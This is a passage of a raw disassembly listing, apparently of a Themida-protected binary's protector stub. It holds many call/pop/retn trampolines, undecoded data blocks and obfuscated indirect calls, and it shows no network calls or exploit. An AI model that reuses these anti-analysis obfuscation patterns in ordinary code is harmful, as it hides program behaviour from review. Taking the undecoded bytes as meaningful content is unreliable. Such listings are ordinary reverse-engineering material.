85C7D7B6h, 6281305h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_592FD3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592FD3 proc near ; CODE XREF: Themida_:00592FCBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_592FD3 endp ; --------------------------------------------------------------------------- db 0A7h dd 988C488Eh, 471AB9EBh, 0FFF35FE9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9ABEAC5h dd 0Eh, 462C1B8Ch, 44F6A37Bh, 341E4F7Ah, 0C18BCC24h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C2C35646h, 895F1C40h dd 282291BDh, 41BD8906h, 8D062829h, 282C0585h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0BB5F5383h, 146D78B3h, 0EE960h, 64940000h, 0ACD5B84h dd 4A3C0989h, 96643E3Ah, 8498D89h, 50610628h, 8A0Fh, 4890000h dd 6AD98A24h, 0D99D8B00h, 6A062823h, 0D98B6600h, 9ED1858Dh dd 8D01062Ch, 6281ED1h, 6A05C083h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0BE97C351h dd 668F330Eh, 69D4E781h, 0D88B6690h, 9006B350h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 16C35242h, 8D0128F8h dd 6280629h, 8166006Ah, 6AF57BE7h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FF45EE21h dd 28243195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 5363FC16h, 0F38D8D5Fh, 6A062B94h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0B79AC352h, 0FFFC8A76h, 66BF66D1h, 15BD83BEh dd 1062824h, 84850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8FA444C3h, 0C418D89h dd 8D290628h, 628125Dh, 8501026Ah, 62831E5h, 50AEB790h dd 5190DE8Bh, 0FE8h, 869CF800h, 0BB1EAC72h, 84172320h dd 1BD5E16Ch, 5FFB8B66h, 0D195FF5Fh, 6A06282Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 828FC351h, 0BD896AF5h, 6280959h, 102D8529h, 0D2E90628h dd 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62C9EDBh push 0 push eax call sub_593232 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593232 proc near ; CODE XREF: Themida_:0059322Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_593232 endp ; --------------------------------------------------------------------------- dw 24BBh dd 973D3EA5h, 11E87Fh, 0CC430000h, 0C27DF0ACh, 0FC6D9072h dd 0A1282E00h, 0F21CDD0h, 6A5FDEBFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CA93C353h dd 29FC90C5h, 282941B5h, 0B0858D06h, 66062B85h, 0F90DF8Bh dd 88Dh, 8A525000h, 5A310FDAh, 0BF665058h, 0E9901159h dd 11h, 736CCEBBh, 0ABDDCCE2h, 0DF48E7A7h, 0E256BB54h dd 35FF6411h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5932CF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5932CF proc near ; CODE XREF: Themida_:005932C7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5932CF endp ; --------------------------------------------------------------------------- db 0BCh ; --------------------------------------------------------------------------- cdq mov large fs:0, esp inc dword ptr [ebp+6281659h] push 0 push esi call sub_5932F9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5932F9 proc near ; CODE XREF: Themida_:005932F1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5932F9 endp ; --------------------------------------------------------------------------- align 2 mov [ebp+6280C11h], ecx loc_593310: ; CODE XREF: Themida_:00593FB6j push 0FFFFFFFFh push esi pop ebx mov ebx, [ebp+62816CDh] push dword ptr [ebp+62826BDh] call dword ptr [ebp+6282DC1h] jmp loc_593431 ; --------------------------------------------------------------------------- db 8Bh dd 0A5DF80FAh, 665200B0h, 0E121E781h, 0E970E65Bh, 8, 0FD78A3A5h dd 0F2E4E02Ch, 858971E4h, 6281849h, 830F613Ch, 0D9h, 12E8h dd 166CC300h, 7F5E4376h, 0A423BF01h, 0C2B63E7Ch, 0FDD733Dh dd 284h, 5F616000h, 89C8B60Fh, 28128DB5h, 6BA06h, 0BD8B0000h dd 628294Dh, 10E9C18Bh, 0C1000000h, 3A67E065h, 3FE0CDA9h dd 0DF3467FAh, 0C10CE9A0h, 0BD8904E8h, 6282375h, 66E2F766h dd 2BE9DBBBh, 4DBD89C8h, 8B06280Eh, 8D9D8BD1h, 0E9062826h dd 0Ch, 7E9h, 0B05D5200h, 37F9A7DDh, 1415858Bh, 8B500628h dd 0C0835BFAh, 835B5207h, 950100C0h, 6280F31h, 830FD03Bh dd 0Bh, 38E9h, 0C5BD8B00h, 8B062807h, 282C298Dh, 83FB8B06h dd 840F01E1h, 21h, 2D59BD8Bh, 0A5830628h, 6282C29h, 0F8BF0FFEh dd 14159589h, 8D890628h, 6281141h, 0E9h db 0 ; --------------------------------------------------------------------------- loc_593431: ; CODE XREF: Themida_:00593326j lea esi, [ebp+62BFF0Ah] mov di, 8F3Dh push 0 mov bx, 2E30h mov edi, [ebp+6282625h] call dword ptr [ebp+6280465h] js loc_593455 mov bh, dl loc_593455: ; CODE XREF: Themida_:0059344Dj mov ecx, 889h and ecx, 0FFFFFFFCh push 0 push esi call sub_593468 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593468 proc near ; CODE XREF: Themida_:00593460p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_593468 endp ; --------------------------------------------------------------------------- dd 7F1C609Dh, 0FCF0B87Fh, 66FB8B66h, 0FF82CF81h, 6AC02Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 100B82C3h, 11E87Dh, 8B0D0000h, 0E0B3C3BAh, 0A1C94AE5h dd 95741C27h, 0F0B6797h, 235BFEBFh, 2833BDBDh, 0BA06h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0ADA847C3h, 0E8D1C233h, 0E983D003h, 0FF47504h dd 8D29F9B7h, 6282B31h, 880Dh, 0C2BF6600h, 15958B9Ch, 6A062807h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 7BF5C357h, 246B9348h, 8BFA8B66h, 2821BD8Dh dd 8B50FC06h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 41C35242h dd 8BB95A52h, 0A10AD5B6h, 0DDBD8BA2h, 89062819h, 280C3995h dd 0A1BD8306h, 62825h, 9C840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E81739C3h dd 8, 0B9E30D24h, 0EA078AE2h, 68A0Fh, 95290000h, 6280385h dd 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0FD6642C3h, 0BFF9DDFAh, 4D3777A3h dd 4D950160h, 8906280Ch, 2834B18Dh, 8D8D6106h, 6284F6Eh dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 39BC6DC3h, 0B92185E4h, 0BD832D40h, 628113Dh dd 3A840F00h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 3D83C353h, 156E4FCAh dd 0D5BF9438h, 837A947Bh, 28113DBDh, 840F0106h, 420h, 2AEF8166h dd 3DBD835Fh, 3062811h, 3D8860Fh, 0FE90000h, 7E000000h dd 7B0C436Ch, 152A55C1h, 0A370D4DCh, 8B601B15h, 282B499Dh dd 0B5B58906h, 66062819h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 66915CC3h, 0B3A9D802h dd 8D898C66h, 62814B5h, 5104E180h, 1FED9D31h, 0A5B0628h dd 4D840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 26C1C353h, 8255E96Bh dd 6D9501F3h, 8B062834h, 2824C985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D04D30CFh dd 13CDDAF9h, 45BB6648h, 8830F4Fh, 52000000h, 850Fh, 335B0000h dd 282D0585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 300156C8h, 6B78D1AFh, 0EB81A88Bh dd 7523A949h, 0E8C0F90h, 50000000h, 0F5F5752h, 0F525031h dd 5A585A31h, 0F9BB5058h, 90299ABDh, 0F006AFCh, 0A8Eh dd 5E900h, 0E5F20000h, 0E889A344h, 5, 30496A40h, 0F64ABBE7h dd 685F3332h, 905B74C5h, 78B0Fh, 0BF500000h, 68542EEh dd 2404815Fh, 6FC38F3Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 7EC35545h, 0E38BB472h, 31FD9589h, 95FF0628h dd 628176Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 8AC35545h, 0FDB2C7Eh, 8589FAB7h, 62BA3FDh, 0B0E909B7h dd 0BB000001h, 2328808h, 0A3F5858Bh, 0D98B062Bh, 1800C7h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0B6579DC3h, 0E91D3FB9h, 0Bh, 965FD8F8h, 8AEA9A05h dd 0E9C0419Fh, 13h, 4B532F79h, 112D9EE8h, 3F0A331Bh, 0A5408164h dd 8B04BC42h, 2BA3F9B5h, 93E38106h, 8B0C896Eh, 282B6585h dd 13C5BF06h, 68918CEh, 6830Fh, 95890000h, 62820A9h, 24C9858Bh dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 1449D6C3h, 347A839Ah, 1804D60h, 2810019Dh dd 6850F06h, 8B000000h, 280929BDh, 4468906h, 50F98B66h dd 348949B3h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 4D0CDD1Fh, 0FFF98474h, 2BA3F5B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 462EBF9Ch, 0E2685CA8h, 0E9CCE374h, 7, 3104AC40h dd 816A7FA1h, 8F1D2404h, 6A333Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BB66E2C3h, 9D893B73h dd 6280185h, 0A3FD858Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 77655EC3h, 60C01EC3h dd 0BD8960FCh, 62812C9h, 2D519D01h, 61610628h, 0BB665090h dd 0F90D6E4h, 1184h, 0AE800h, 96CE0000h, 6255C966h, 9E657Fh dd 95FF5FF5h, 628176Dh, 61FE8B66h, 0DE8F88Bh, 0BD000000h dd 39CD7813h, 67A3BA6Bh, 6BAB2107h, 20099D8Bh, 0C75B0628h dd 28113D85h, 306h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0A99D8BC3h, 83062807h dd 2BA3FDBDh, 840F0006h, 2Ah, 3EE90DB3h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1F97C350h, 0E5C1ABA7h, 30504D91h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 6C4275C5h dd 27CB2127h, 6A9D96h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0FE97DC3h, 0B9000000h, 78C1D43Bh dd 0AB0C93FBh, 0C2F56A74h, 0A6BF463Ah, 836C28E6h, 28113DBDh dd 850F0306h, 4AAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 4DC35747h, 0C781FE14h, 3BF67228h, 0A3FDBD83h dd 0F00062Bh, 47984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0FFF5A3C5h, 2BA3FDB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 89BE9809h, 0E9595FFh, 6A0628h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0BB99E6C3h dd 8D89B925h, 6280095h, 0F25BD89h, 0B58B0628h, 62BA3F1h dd 0F8DB501h, 6C70628h, 10001h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 4CC35747h, 87AE380Fh, 0B750337Ch dd 243489E3h, 33B59D31h, 8B660628h, 0FDB5FFFBh, 89062BA3h dd 28207595h, 1995FF06h, 6A062820h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E555C355h dd 0A4D4F0EDh, 5D9D8BDFh, 8B062834h, 2BA3F1B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 5DA3B8E8h, 0F9F49F97h, 6800Fh, 95890000h, 62826A5h dd 17D5858Bh, 6A0628h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 186FA9C3h, 9599D29h dd 86890628h, 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0C8C35343h, 5B564599h, 6E8h, 27E0800h dd 0E9B8F400h, 0Ch, 9A9447E5h, 23968503h, 3C200EEDh, 45BD8B5Fh dd 8B062804h, 28071595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 79193634h, 899200F0h dd 282BE995h, 4C28306h, 1D599D8Bh, 50890628h, 8DF98A20h dd 2BB8D985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0B891361Ch, 7D850960h, 66062823h dd 0B6F1C981h, 0B8868961h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A78BC352h dd 6E987h, 41BA0000h, 81EFBD5h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66439CC3h dd 0F60FE8Bh, 1181h, 0CE900h, 0C91B0000h, 0F82430F0h, 0D692D4B6h dd 6661097Ah, 26CDD381h, 0A3FDB5FFh, 8B66062Bh, 559D29FAh dd 0FF062833h, 282CD195h, 0A98D8906h, 96062825h, 10E8h dd 0B2839200h, 0D7D639AEh, 6F989057h, 93721791h, 0B7525055h dd 50310FE5h, 5A310F52h, 5F585A58h, 8F0F5250h, 0 ; --------------------------------------------------------------------------- pop edi xchg eax, esi pusha mov esi, ecx jmp loc_593E17 ; --------------------------------------------------------------------------- dw 5D56h dd 0EB7F286Ch, 0C3F3ED26h, 1CD14BBAh db 0FEh, 9Ch, 0ECh ; --------------------------------------------------------------------------- loc_593E17: ; CODE XREF: Themida_:00593E01j popa push dword ptr [ebp+62BA3FDh] xor di, 0E1EBh jmp loc_593E3B ; --------------------------------------------------------------------------- dd 4FDB5F33h, 9A28E1E9h, 0F059F43Fh, 98544E20h db 23h, 0CFh, 0DFh ; --------------------------------------------------------------------------- loc_593E3B: ; CODE XREF: Themida_:00593E23j call dword ptr [ebp+62829B9h] sub [ebp+62807ADh], esi cmp dword ptr [ebp+6280C55h], 0 jz loc_593EBF ; CODE XREF: sub_593EA6-2Fj push 0 push esi call sub_593E5F ; CODE XREF: sub_593EA6-Ej and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593E5F proc near ; CODE XREF: Themida_:00593E57p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_593E5F endp ; --------------------------------------------------------------------------- db 43h db 0A3h, 0BEh, 62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_593EA6 loc_593E73: ; CODE XREF: sub_593EA6+29j sbb dl, [edx-7Bh] dec edi jnb short near ptr loc_593E4E+2 jmp loc_593E8E ; END OF FUNCTION CHUNK FOR sub_593EA6 ; --------------------------------------------------------------------------- dw 0CA38h dd 296DD7FCh, 0BD6AECEDh, 7793D43Dh db 91h, 0Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_593EA6 loc_593E8E: ; CODE XREF: sub_593EA6-2Dj xchg eax, esi pusha call sub_593EA6 pop ds rol dh, cl loopne near ptr loc_593E57+1 sbb dword ptr [edx], 490E743Fh jl short loc_593F0F ; CODE XREF: sub_593EA6+2Cj xor [ebx], bl add bh, dl ; END OF FUNCTION CHUNK FOR sub_593EA6 ; =============== S U B R O U T I N E ======================================= sub_593EA6 proc near ; CODE XREF: sub_593EA6-16p ; FUNCTION CHUNK AT 00593E73 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00593E8E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00593F0F SIZE 00000005 BYTES mov esi, 319814D5h pop esi mov bl, 0EBh popa push eax jb loc_593EBE push ebx jle $+6 pop ebx loc_593EBE: ; CODE XREF: sub_593EA6+Aj xchg eax, esi loc_593EBF: ; CODE XREF: Themida_:loc_593E4Ej push dword ptr [ebp+62BA3FDh] call near ptr loc_593ED9+1 daa push ss dec edi jp short sub_593F27 db 3Eh jp short loc_593E73 jb short near ptr loc_593EA0+1 mov ebx, 7F3250C9h loc_593ED9: ; CODE XREF: sub_593EA6+1Fp mov ch, 0Bh sub_593EA6 endp ; sp-analysis failed popf push ecx sbb ch, [eax] push es pop ebx call dword ptr [ebp+6282285h] push 0 push ecx call sub_593EF2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593EF2 proc near ; CODE XREF: Themida_:00593EEAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_593EF2 endp ; --------------------------------------------------------------------------- dw 4481h dd 0DE8B668Fh, 0A3FDB5FFh db 2Bh, 6, 6Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_593EA6 loc_593F0F: ; CODE XREF: sub_593EA6:loc_593EA0j add [ebx-18h], dl add eax, [eax] ; END OF FUNCTION CHUNK FOR sub_593EA6 ; --------------------------------------------------------------------------- dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h db 2 dup(0), 43h ; =============== S U B R O U T I N E ======================================= sub_593F27 proc near ; CODE XREF: sub_593EA6+27j push ebx retn sub_593F27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E7h, 0A3h, 0C2h ; --------------------------------------------------------------------------- sub ch, ah add dl, ds:85895344h pop ebp and ebp, [eax] push es mov edi, [ebp+62822B1h] call dword ptr [ebp+62810C1h] mov di, ax cmp dword ptr [ebp+6281861h], 2 jz loc_593FAB push 0 push ebx call sub_593F5F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593F5F proc near ; CODE XREF: Themida_:00593F57p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_593F5F endp ; --------------------------------------------------------------------------- ficomp word ptr [esi+2Ch] mov ebx, 66736CCEh xor edi, 858BE441h pop ecx adc ch, [eax] push es push 0 push esi call sub_593F8C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593F8C proc near ; CODE XREF: Themida_:00593F84p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_593F8C endp ; --------------------------------------------------------------------------- dec esi push ebp add [ebp+2959B589h], esi sub [esi], al mov byte ptr [eax], 0 mov ebx, esi loc_593FAB: ; CODE XREF: Themida_:00593F4Ej mov dword ptr [ebp+6281305h], 0 stc jmp loc_593310 ; --------------------------------------------------------------------------- push 0 push ebp call sub_593FC6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593FC6 proc near ; CODE XREF: Themida_:00593FBEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_593FC6 endp ; --------------------------------------------------------------------------- dw 0A6A7h dd 0B973D957h, 850FD2h, 8B000000h, 0C37DBBC1h, 8B6673FBh dd 5858DDFh, 6606282Ch, 501F41BBh, 16840F60h, 0E8000000h dd 10h, 98F35457h, 53951878h, 97F9609h, 7729371Ah, 489615Ah dd 6A80B324h, 0D5BD8B00h, 6A062831h, 7A858D00h, 6A062CAEh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 43ADC350h, 11810FDFh, 0E9000000h, 0Ch, 9006F814h dd 0C0AAA951h, 2052B746h, 83F3F380h, 6A05C0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 42176C3h dd 0BD8BA194h, 6282E9Dh, 8E85090h, 92000000h, 0D192518Bh dd 0E96BA1E5h, 8, 0EB4C5AD7h, 875C60DDh, 6A905Fh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 6A6116C3h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 76DC6F6Dh, 4CD9D89h, 94BB0628h, 6A0D7392h dd 3195FF00h, 0E9062824h, 6, 8975F290h, 8D8D6B62h, 62B94F3h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 30C35646h dd 6E9h, 62449E00h, 0FFA7F198h, 83DE8BD1h, 282415BDh, 850F0106h dd 7Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 92C35545h, 5D23E381h, 26A2991h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0D6C35343h, 7A7137D2h, 6650EAEAh dd 896DF3BFh, 0BF662404h, 95FF9107h, 6282CD1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 73C35343h, 0B22F5274h dd 0E9F96EA2h, 0DC9h, 0E8h, 0ED815D00h, 62CAE84h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F0C35141h, 0E162EF1Ch dd 199D8B73h, 6A062823h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 2C56C352h, 9C162273h dd 854E5384h, 14E8h, 0B3E6D200h, 0DF96A9B5h, 7A5886D2h dd 0DDA1DF3Bh, 99D892AEh, 38D0F75h, 0F000000h, 8D5FFAB7h dd 2B85B085h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 9D23D285h, 62808F5h, 50D88B66h, 489A8B3h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 77E13E01h, 0F98B669Fh, 11859D03h, 0FF640628h dd 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0BE61499Dh, 23603990h, 28126D95h dd 3D9D8B06h, 6106281Ah, 258964h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0AA1EC350h, 7C928AFFh, 3BEF6BECh, 19890Fh, 14E90000h dd 0AF000000h, 61D95596h, 0AA76BF2Eh, 0E2A1CA07h, 35FA25E2h dd 0FF25E818h, 28165985h, 6AFF6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 67A0C351h dd 133C007Ah, 52EB1B29h, 2EC9B5FFh, 0AE90628h, 98000000h dd 336552BAh, 910B89ACh, 0C195FF3Bh, 0E906282Dh, 129h dd 0F519D89h, 0B00628h, 16B59D8Bh, 70E60628h, 0FE9h, 7BCC0000h dd 0F9BCAD81h, 3A336AEh, 1E9B985Ch, 11840Fh, 0CE90000h dd 7F000000h, 52800720h, 0D5784BC3h, 0E41994DCh, 0E8E0F71h dd 0E8000000h, 6, 0C53D341Dh, 5BB30AC9h, 0F613C5Bh, 0D083h dd 14800F00h, 60000000h, 6E8h, 7310E100h, 5A3067C6h, 2181BD8Bh dd 0F610628h, 0BB57C8B6h, 5BE64EC0h, 6BA5Fh, 0B0BF0000h dd 8B36FAE6h, 7933BBC1h, 0E8C16FBBh, 54BF6604h, 0E2F766D0h dd 3E8CF81h, 0C82B349Dh, 881DEB81h, 0D18B137Fh, 739BD8Bh dd 6E90628h, 89000000h, 2821A185h, 61858B06h, 8B06282Eh dd 7C083F9h, 83FE8B66h, 896000C0h, 2820E9BDh, 11858B06h dd 6106280Ch, 830FD03Bh, 11h, 1B98D31h, 3EE90628h, 81000000h dd 1CE789C3h, 0D8D8B2Dh, 0F8062820h, 0F01E183h, 2884h dd 8BD98B00h, 282269BDh, 0DA58306h, 0FE062820h, 0B5C78166h dd 398D89ADh, 89062813h, 282E6195h, 0DE8B6606h, 0E9h, 15B58D00h dd 0E9062C09h, 0Eh, 0C8D92A41h, 702BF620h, 30F956B0h, 6A0CB7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 64C35747h dd 4857DF41h, 69D2E82Fh, 6860F7Ch, 81000000h, 2DE63ADFh dd 6595FF14h, 29062804h, 2823FDBDh, 365ABB06h, 1DB91D9Ch dd 6A000008h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0A658C356h, 6ED36532h, 41BD8B51h dd 66062814h, 2E90C381h, 0E8FCE183h, 0Ch, 4D8CEB9Dh, 0B1D5D7F4h dd 7AF66191h, 9D8BFC5Bh, 62832E9h, 0B8h, 2BD88B00h, 50006AD2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 8A21041Ch, 830FB184h, 3, 0ADD88B66h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0BF2FC352h, 724DF781h, 0BD8B262Bh dd 6280251h, 880Dh, 5BD8900h, 8B062800h, 28071595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E042A12Ah, 2DFDBD8Bh, 8D8B0628h, 62821BDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 2FC35040h, 2B1141Eh dd 0DF19D89h, 8B500628h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0D6C35545h, 1584AE97h, 43875BD6h, 9589F539h, 62832BDh dd 25A1BD83h, 0F000628h, 3D84h, 0B800h, 0B70F0000h, 0B1B589FAh dd 8D062804h, 284F6E8Dh, 0DAB70F06h, 6AE1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E3D2EAC3h dd 50C8E9D4h, 0BD83457Bh, 628113Dh, 0F9840F00h, 0F000003h dd 0BD83DFB7h, 628113Dh, 4840F01h, 0E9000004h, 5, 733075A3h dd 3DBD83E6h, 3062811h, 3B7860Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DC176BC3h dd 995610DEh, 0BF66010Bh, 5760ED2Fh, 0F8D9509h, 665F0628h dd 0E180D98Ch, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0C2B28F4Fh, 0BD89D3E1h dd 6281061h, 840FC90Ah, 0E0h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0FDC35242h, 7824B00Eh, 246D9D89h dd 858B0628h, 62824C9h, 6FEB8060h, 22B1BD8Bh, 33610628h dd 282D0585h, 0D8BF0F06h, 24048950h, 3870Fh, 0BF0F0000h dd 8B006ADBh, 2802BD9Dh, 4E806h, 3FF0000h, 0BF66001Fh dd 8B509A90h, 8B042444h, 35BF6600h, 2444897Bh, 0D18B6004h dd 0BF5BF66h, 6A5861h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 32E673C3h, 2AD99D8Bh, 0D88B0628h dd 176D95FFh, 8EBB0628h, 897F7E46h, 2BA3FD85h dd 3D9D3306h, 0E906280Eh, 1CDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 24C35646h, 0B112C6E4h, 0E6E27DD0h dd 0A3F5858Bh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0F61DABC3h, 0E1DB810Eh, 0C730B3B8h dd 1800h, 